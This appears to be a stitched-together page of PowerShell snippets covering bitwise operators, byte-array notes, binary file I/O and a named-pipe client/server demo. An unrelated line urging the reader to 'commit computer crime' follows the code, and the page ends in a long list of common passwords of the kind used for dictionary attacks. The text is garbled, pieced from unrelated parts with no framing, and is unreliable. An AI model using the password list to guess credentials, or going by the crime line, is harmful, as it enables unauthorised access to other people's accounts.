**101 -bxor 228**

**Get-BitsFromInt -Integer (101 -bxor 228)**

**"`nbor"**

**101 -bor 228**

**Get-BitsFromInt -Integer (101 -bor 228)**

**"`nband"**

**101 -band 228**

**Get-BitsFromInt -Integer (101 -band 228)**

**"`nbnot"**

**-bnot 228 #Unary operator.**

**Get-BitsFromInt -Integer (-bnot 2)**

**<#**

**Handling byte arrays can be a challenge for many reasons:**

**Bytes can be arranged in big-endian or little-endian format, and the endianness may need to be switched by one's code on the fly, e.g., Intel x86 processors use little-endian format internally, but TCP/IP is big-endian.**

**A raw byte can be represented in one's code as a .NET object of type System.Byte, as a hexadecimal string, or in some other format, and this format may need to be changed as the bytes are saved to a file, passed in as an argument to a function, or sent to a TCP port over the network.**

**Hex strings can be delimited in different ways in text files ("0xA5,0xB6" vs. "\xA5\xB6" vs. "A5-B6") or not delimited at all ("A5B6").**

**Some cmdlets inject unwanted newlines into byte streams when piping.**

**The redirection operators (> and >>) mangle byte streams as they attempt on-the-fly Unicode conversion.**

**Bytes which represent text strings can encode those strings using ASCII, Unicode, UTF, UCS, etc.**

**Newline delimiters in text files can be one or more different bytes depending on the application and operating system which created the file.**

**Some .NET classes have unexpected working directories when their methods are invoked, so paths must be resolved explicitly first.**

**StdIn and StdOut in PowerShell on Windows are not the same as in other languages on other platforms, which can lead to undesired surprises.**

**Manipulating very large arrays can lead to performance problems if the arrays are mishandled, e.g., not using a [Ref] where appropriate, constantly recopying to new arrays under the hood, recasting to different types unnecessarily, using the wrong .NET class or cmdlet, etc.**

**Notes:**

**The "0xFF,0xFE" bytes at the beginning of a Unicode text file are byte order marks to indicate the use of little-endian UTF-16.**

**"0x0D" and "0x0A" are the ASCII carriage-return and linefeed ASCII bytes, respectively, which together represent a Windows-style newline delimiter. This Windows-style newline delimiter in Unicode is "0x00,0x0D,0x00,0x0A". But in Unix-like systems, the ASCII newline is just "0x0A", and older Macs use "0x0D", so you will see these formats too; but be aware that many cmdlets will do on-the-fly conversion to Windows-style newlines (and possibly Unicode conversion too) when saving back to disk. When hashing text files, be aware of how the newlines and encoding (ASCII vs. Unicode) may have changed, since "the same" text will hash to different thumbprints if the newlines or encoding have unexpectedly changed.**

**#>**

**##########################################################################**

**##**

**## Need to flesh these functions out...**

**## Save/read large arrays of doubles to raw binary files with more**

**## PowerShell control over the process (much slower than binary serialization).**

**##**

**##########################################################################**

**[Double[]] $m1 = 1..1000**

**function Save-DoublesToBinaryFile ( [String] $FilePath, [Double[]] $Array)**

**{**

**if ($FilePath.IndexOf(':') -eq -1) { throw 'Need the full path for now...' ; return $false }**

**Try**

**{**

**$FileStream = New-Object -TypeName System.IO.FileStream -ArgumentList @( $FilePath, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write) -ErrorAction Stop**

**$BinaryWriter = New-Object -TypeName System.IO.BinaryWriter -ArgumentList $FileStream**

**ForEach ($number in $Array){ $BinaryWriter.Write( $number ) }**

**$BinaryWriter.Flush()**

**}**

**Catch { $error[0] } #Not doing any error handling or path checking yet...**

**Finally**

**{**

**if ($BinaryWriter){ $BinaryWriter.Close() }**

**if ($FileStream ){ $FileStream.Close() }**

**}**

**}**

**Save-DoublesToBinaryFile -FilePath 'f:\temp\delme.bin' -Array $m1**

**function Read-DoublesFromBinaryFile ( [String] $FilePath )**

**{**

**Try**

**{**

**$FilePath = (dir $FilePath | Resolve-Path -ErrorAction Stop).ProviderPath**

**$FileStream = New-Object -TypeName System.IO.FileStream -ArgumentList @( $FilePath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) -ErrorAction Stop**

**$BinaryReader = New-Object -TypeName System.IO.BinaryReader -ArgumentList $FileStream**

**$FileSize = $FileStream.Length**

**While ($FileStream.Position -lt $FileSize){ $BinaryReader.ReadDouble() }**

**}**

**Catch { $error[0] } #Not doing any error handling or path checking yet...**

**Finally**

**{**

**if ($BinaryReader){ $BinaryReader.Close() }**

**if ($FileStream ){ $FileStream.Close() }**

**}**

**}**

**$m2 = Read-DoublesFromBinaryFile -FilePath "f:\temp\delme.bin"**

**$m1 -eq $m2**

**================Named-Pipe-Client.ps1======================================================**

**#################################################################################################**

**# This script demos the use of named pipes. Run named-pipe-server.ps1 first, then this one.**

**# Requires .NET Framework 3.5 SP1 or later.**

**# For more information, see:**

**# http://msdn.microsoft.com/en-us/library/system.io.pipes.namedpipeclientstream.aspx**

**# http://blogs.msdn.com/b/bclteam/archive/2006/12/07/introducing-pipes-justin-van-patten.aspx**

**# Get the pipelist.exe tool from http://www.microsoft.com/sysinternals**

**#################################################################################################**

**# These are some of the constants used with named pipes:**

**#[System.IO.Pipes.PipeDirection]::In = 1**

**#[System.IO.Pipes.PipeDirection]::Out = 2**

**#[System.IO.Pipes.PipeDirection]::InOut = 3**

**#[System.IO.Pipes.PipeTransmissionMode]::Byte = 0**

**#[System.IO.Pipes.PipeTransmissionMode]::Message = 1**

**# Create a named pipe client object:**

**$computer = "." # A period means local computer, but can be remote instead.**

**$pipename = "poshpipe" # Name of the named pipe to use, must be unique.**

**$direction = 3 # InOut can both send and receive.**

**$pipeclient = new-object System.IO.Pipes.NamedPipeClientStream -arg @($computer, $pipename, $direction)**

**# Connect to named pipe and change from byte mode to message mode.**

**$pipeclient.Connect()**

**$pipeclient.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message**

**# Create array into which data from pipe can be read.**

**$buffer = new-object System.Byte[] -arg 10000**

**# Now fill that array by reading the pipe, keeping a counter of bytes copied.**

**# The arguments are: array to fill, beginning index, number of bytes to copy.**

**$counter = $pipeclient.Read($buffer,0,$buffer.count)**

**# Trim off the unfilled portion of the buffer array.**

**$buffer = $buffer[0..($counter - 1)]**

**# Cast byte array into a character array, join into a single string, then print.**

**[char[]] $buffer -join ""**

**## Optionally, you can read data from the pipe byte-by-byte instead.**

**# $pipeclient.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Byte**

**# $reader = new-object System.IO.StreamReader -arg @($pipeclient)**

**# while (($temp = $reader.ReadLine()) -ne $null) { $temp + "`n" }**

**##Server – Named-Pipe-Server.ps1**

**#################################################################################################**

**# This script demos the use of named pipes. Run this script first, then named-pipe-client.ps1.**

**# Requires .NET Framework 3.5 SP1 or later.**

**# For more information, see:**

**# http://msdn.microsoft.com/en-us/library/system.io.pipes.namedpipeserverstream.aspx**

**# http://blogs.msdn.com/b/bclteam/archive/2006/12/07/introducing-pipes-justin-van-patten.aspx**

**# Get the pipelist.exe tool from http://www.microsoft.com/sysinternals**

**#################################################################################################**

**# These are some of the constants used with named pipes:**

**#[System.IO.Pipes.PipeDirection]::In = 1**

**#[System.IO.Pipes.PipeDirection]::Out = 2**

**#[System.IO.Pipes.PipeDirection]::InOut = 3**

**#[System.IO.Pipes.PipeTransmissionMode]::Byte = 0**

**#[System.IO.Pipes.PipeTransmissionMode]::Message = 1**

**# Create a named pipe server object to accept inbound connections.**

**$pipename = "poshpipe" # Name of the named pipe to use, must be unique.**

**$direction = 3 # InOut, can both send and receive.**

**$max = 1 # Max number of instances of named pipe.**

**$mode = 1 # Transmission mode is message (1) or byte-by-byte (0)**

**$pipeserver = new-object System.IO.Pipes.NamedPipeServerStream -arg @($pipename, $direction, $max, $mode)**

**"Will wait forever until a client connects to this pipe..."**

**$pipeserver.WaitForConnection()**

**"The client has connected, writing data!"**

**# Write data to the pipe, to be read by the client.**

**$writer = new-object System.IO.StreamWriter -arg @($pipeserver)**

**$writer.AutoFlush = $true #Flush buffer to stream after every Write().**

**$writer.Write("This string was read from the pipe named " + $pipename)**

**# Now remove the named pipe and clean up.**

**$pipeserver.Close()**

Commit computer crime - do not trust the FBI (or do trust it when necessary)

===========================NEW HEADING=================================================

123456 password 123456789 12345678 12345 qwerty 123123 111111 abc123 1234567 dragon 1q2w3e4r sunshine 654321 master 1234 football 1234567890 000000 computer 666666 superman michael internet iloveyou daniel 1qaz2wsx flower 555555 test caroline amanda maverick midnight martin junior 88888888 anthony jasmine creative patrick mickey 123 qwerty123 cocacola chicken passw0rd forever william nicole hello yello nirvana justin slipknot november jordan23 canada tennis qwertyui casper gemini asd123 winter hammer cooper america albert 777777 winter charles butterfly swordfish popcorn penguin dolphin carolina access 987654 hardcore corvette porsche online hello123 fuckoff eagles champion bubbles boston smokey precious mercury lauren einstein cricket cameron angel admin napoleon mountain lovely friend flowers dolphins david chicago sierra knight marshall jupiter jeremy gibson fucker barbara adrian 1dazxsw2 11111 startrek fishing digital christine business abcdefg nintendo genius 12qwaszx walker q1w2e3 player legend carmen booboo tomcat ronaldo nissan iloveyou harrison friday francis dancer 159357 101010 spitfire saturn nemesis little dreams catherine brother birthday 1111111 wolverine victory student france fantasy enigma copper bonnie teresa mexico babygirl avatar alicia regina qqqqqq poohbear miranda madonna florence sapphire norman hamilton greenday galaxy frankie black awesome suzuki spring qazwsxed candy magnum lovers liberty gregory 232323 twilight philip peewee peanuts peace nugget newport myself mouse memphis lover lancer kristine james1 hobbit halloween fuckyou1 finger fearless dodgers delete cougar charmed cassandra caitlin bismillah believe alice benjamin 11111111 snoopy samantha victoria matrix george alexander secret cookie asdfgh 987654321 123abc orange fuckyou asdf1234 pepper hunter silver joshua banana 1q2w3e chelsea 1234qwer summer qwertyuiop phoenix andrew austin veronica nicholas monster dexter carlos thunder success hannah ashley 131313 stella brandon pokemon joseph asdfasdf 99999 metallica december chester taylor sophie samuel rabbit crystal barney xxxxxx steven madison dakota angelina anderson 159753 1111 yamaha trinity rebecca nathan guitar compaq 123123123 toyota shannon playboy peanut pakistan diablo abcdef maxwell golden asdasd 123654 murphy monica marlboro kimberely tigers stephanie slayer peaches miller heaven elizabeth bulldog animal 789456 scorpio rosebud qwerty12 franklin claire american vincent testing pumpkin platinum louise kitten general united turtle marine icecream hacker simpsons passion lakers james angelica 55555 vampire tiffany september private maximus loveme isabelle isabella eclipse dreamer changeme cassie badboy 123456a stanley sniper rocket passport pandora justice infinity cookies diesel debbie danger chance asdf anything aaaaaaaa welcome1 qwert hahahaha forest eternity disney denise carter alaska zzzzzz titanic shorty shelby pookie pantera england chris zachary westside tamara password123 gunner fireball donkey cherokee australia arizona 1234abcd skyline power perfect lovelove kermit kenneth katrina eugene christ thailand support special runner lasvegas jason fuckme butthead blizzard athena abigail 8675309 overlord michaela meredith masters lindsey history farmer express escape cuddles carson candy buttercup brownie broken abc12345 aardvark Passw0rd 141414 124578 123789 12345678910 00000 universal trainada tobias **thursday surfing q1w2e3r4 ranger gateway darkness barbie pass violet stuart**